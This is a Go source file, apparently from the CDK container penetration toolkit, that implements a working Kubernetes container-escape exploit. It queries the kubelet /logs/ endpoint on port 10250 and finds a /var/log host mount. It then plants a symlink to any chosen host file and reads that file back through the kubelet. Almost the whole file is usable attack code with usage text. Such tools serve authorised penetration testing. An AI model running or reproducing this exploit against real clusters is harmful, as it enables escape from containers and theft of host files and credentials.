-
Notifications
You must be signed in to change notification settings - Fork 535
/
k8s_kubelet_var_log_escape.go
136 lines (113 loc) 路 3.88 KB
/
k8s_kubelet_var_log_escape.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
//go:build !no_kubelet_var_log_escape
// +build !no_kubelet_var_log_escape
/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package exploit
import (
"fmt"
"log"
"os"
"path"
"regexp"
"strings"
"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/kubectl"
"github.com/cdk-team/CDK/pkg/util"
)
type VarLogEscape struct{}
func (p VarLogEscape) Desc() string {
var buffer strings.Builder
buffer.WriteString("Exploit container escape with kubelet log access & /var/log mount.")
buffer.WriteString("Usage: cdk run k8s-kubelet-var-log-escape /root/targetfile-to-read")
return buffer.String()
}
func (p VarLogEscape) Run() bool {
args := cli.Args["<args>"].([]string)
targetFile := args[0]
token := ""
logPageSubString := `href="pods/`
logLinkRegx := `href="(.*)"`
gateway, err := util.GetGateway()
if err != nil {
log.Printf("[-] GetGateway error: %v", err)
return false
}
// check kubelet endpoint and logs access
kubeletEndpoint := fmt.Sprintf("https://%s:10250/", gateway)
log.Printf("[+] Checking kubelet endpoint: %s", kubeletEndpoint)
opts := kubectl.K8sRequestOption{
Token: token,
Server: kubeletEndpoint,
Api: "/logs/",
Method: "GET",
}
respText, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("[-] kubelet log access error: %v", err)
return false
}
log.Printf("[+] kubelet log access success, url: %s, response length: %d", kubeletEndpoint, len(respText))
// Log all the log files in /var/log
if strings.Contains(respText, logPageSubString) {
loglist := regexp.MustCompile(logLinkRegx).FindAllStringSubmatch(respText, -1)
loglistText := ""
for _, filename := range loglist {
loglistText += filename[1] + "\n"
}
log.Printf("log list: \n%s", loglistText)
}
// check /var/log mount
mountinfo, err := util.GetMountInfo()
mountPoint := ""
if err != nil {
log.Printf("[-] GetMountInfo error: %v", err)
return false
}
for _, mount := range mountinfo {
if mount.Root == "/var/log" {
log.Printf("[+] Found /var/log mount success, mount point: %s", mount.MountPoint)
mountPoint = mount.MountPoint
break
}
}
if mountPoint == "" {
log.Printf("[-] Not found /var/log mount")
return false
}
// make target symbolic file link
// run `ln -s targetfile /var/log/targetfile`
randomeFilename := fmt.Sprintf("%s-%s", "cdk-var-log-escape", util.RandString(10))
filepath := path.Join(mountPoint, randomeFilename)
os.Symlink(targetFile, filepath)
// get log file in kubelet endpoint
uri := path.Join("/logs/", randomeFilename)
opts = kubectl.K8sRequestOption{
Token: token,
Server: kubeletEndpoint,
Api: uri,
Method: "GET",
}
fileContent, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("[-] Get log file error: %v", err)
return false
}
log.Printf("[+] Get log file success, file content: \n%s", fileContent)
log.Printf("[+] You can write the host file '%s' in file path: %s", targetFile, filepath)
return true
}
func init() {
exploit := VarLogEscape{}
plugin.RegisterExploit("k8s-kubelet-var-log-escape", exploit)
}